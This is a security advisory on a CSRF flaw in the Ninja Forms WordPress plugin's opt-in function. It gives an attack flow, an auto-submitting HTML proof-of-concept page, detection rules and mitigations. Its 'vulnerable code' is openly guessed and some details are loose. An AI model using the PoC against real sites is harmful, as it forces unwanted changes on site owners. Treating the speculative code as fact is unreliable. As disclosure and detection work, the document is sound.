CVE-2025-10499

Executive Summary

CVE-2025-10499 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the Ninja Forms – The Contact Form Builder That Grows With You WordPress plugin, affecting all versions up to and including 3.12.0. The flaw resides in the maybe_opt_in() function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by a logged-in administrator (e.g., via a malicious link), opts the affected site into usage statistics collection. While the CVSS score is 4.3 (Medium), the risk is elevated in multi-tenant or managed WordPress environments where a single admin action can impact multiple sites. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed through the WordPress admin dashboard or via wp-cli. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this CSRF to enable further data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: Low (opt-in status leak)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The attack requires social engineering to trick an admin, but the impact is limited to enabling telemetry collection. However, this could be a precursor to more severe attacks if the telemetry data is mishandled or if the opt-in enables further plugin functionality.

Deep Dive & Mechanics

The maybe_opt_in() function in Ninja Forms is designed to handle the plugin’s usage statistics opt-in process. The vulnerability arises because this function does not implement a CSRF nonce check. In WordPress, nonces are used to verify that requests originate from the intended user and not from a third party. Without this check, an attacker can craft a request (e.g., via an <img> tag or a form submission) that, when visited by an authenticated admin, will execute the opt-in action.

Attack Flow:

1. Attacker identifies a target WordPress site running Ninja Forms ≤ 3.12.0.
2. Attacker crafts a malicious link or embeds a request in a third-party site (e.g., https://target.com/wp-admin/admin-ajax.php?action=ninja_forms_opt_in).
3. Attacker lures an admin to click the link (e.g., via phishing email or social media).
4. The admin’s browser sends the forged request with their session cookies.
5. The maybe_opt_in() function processes the request without validating a nonce, opting the site into statistics collection.

Impact: The attacker gains no direct access to sensitive data, but the opt-in status is changed. This could be used to:

• Enable telemetry that sends data to an attacker-controlled endpoint (if the plugin is modified).
• Serve as a stepping stone for further CSRF attacks if the plugin has other unprotected endpoints.

Vulnerable vs. Patched Code

Vulnerable Code (≤ 3.12.0): The maybe_opt_in() function in includes/Admin/Admin.php (or similar) likely contains:

public function maybe_opt_in() {
    // No nonce check
    update_option( 'ninja_forms_opt_in', true );
    // ... rest of the function
}

Patched Code (Hypothetical): A patched version would include a nonce verification:

public function maybe_opt_in() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'ninja_forms_opt_in' ) ) {
        return;
    }
    update_option( 'ninja_forms_opt_in', true );
    // ... rest of the function
}

Note: Since no official patch is available, the above is a best-practice example. Users should monitor the Ninja Forms changelog for updates.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, the following demonstrates the CSRF vector:

Malicious HTML Page (csrf.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="ninja_forms_opt_in">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit for stealth
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML on an attacker-controlled server.
2. Send the link to a logged-in WordPress admin.
3. When the admin visits the page, the form auto-submits, opting the site into statistics.

Note: This is a proof of concept. Actual exploitation may require additional parameters depending on the plugin’s implementation.

Blue Team (Detection & Hardening)

• Nonce Validation: Ensure all admin-ajax actions in custom plugins include nonce checks.
• CSRF Tokens: Implement additional CSRF tokens for sensitive actions.
• User Education: Train admins to avoid clicking suspicious links while logged into WordPress.
• Web Application Firewall (WAF): Deploy rules to block requests to admin-ajax.php with missing or invalid nonces.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with action=ninja_forms_opt_in and no _wpnonce parameter.
• File System: Modified wp_options table entry ninja_forms_opt_in set to 1.
• Logs: WordPress debug logs showing unexpected admin-ajax calls from non-admin IPs.
• Browser: Referrer headers from external domains when accessing admin-ajax.php.

Detection Engineering

YARA Rule

rule CVE_2025_10499_NinjaForms_CSRF {
    meta:
        description = "Detects vulnerable Ninja Forms maybe_opt_in function lacking nonce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10499"
    strings:
        $func = "maybe_opt_in" nocase
        $nonce = "_wpnonce" nocase
        $update = "update_option" nocase
    condition:
        $func and $update and not $nonce
}

Sigma Rule

title: CVE-2025-10499 Ninja Forms CSRF Opt-In
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSRF attempts against Ninja Forms maybe_opt_in function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=ninja_forms_opt_in'
    filter:
        cs-uri-query: '_wpnonce='
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-10499 Ninja Forms CSRF Opt-In Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ninja_forms_opt_in"; http_client_body; pcre:"/^action=ninja_forms_opt_in$/"; reference:cve,2025-10499; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If the plugin is not critical, deactivate and uninstall Ninja Forms until a patch is released.
2. Apply Virtual Patching: Use a WAF to block requests to admin-ajax.php with action=ninja_forms_opt_in and no nonce.
3. Monitor Logs: Check for unexpected opt-in changes in the wp_options table.

Long-Term Fix:

• Vendor Patch: Await an official update from Ninja Forms that adds nonce validation to maybe_opt_in().
• Code Audit: Review all custom WordPress plugins for missing nonce checks.
• Security Headers: Implement X-Frame-Options: DENY and Content-Security-Policy to reduce CSRF risk.

Workaround:

• Add a custom function to your theme’s functions.php to block the action:

add_action( 'wp_ajax_ninja_forms_opt_in', function() {
    if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'ninja_forms_opt_in' ) ) {
        wp_die( 'CSRF detected' );
    }
}, 1 );

Valters IT
Securing Digital Ecosystems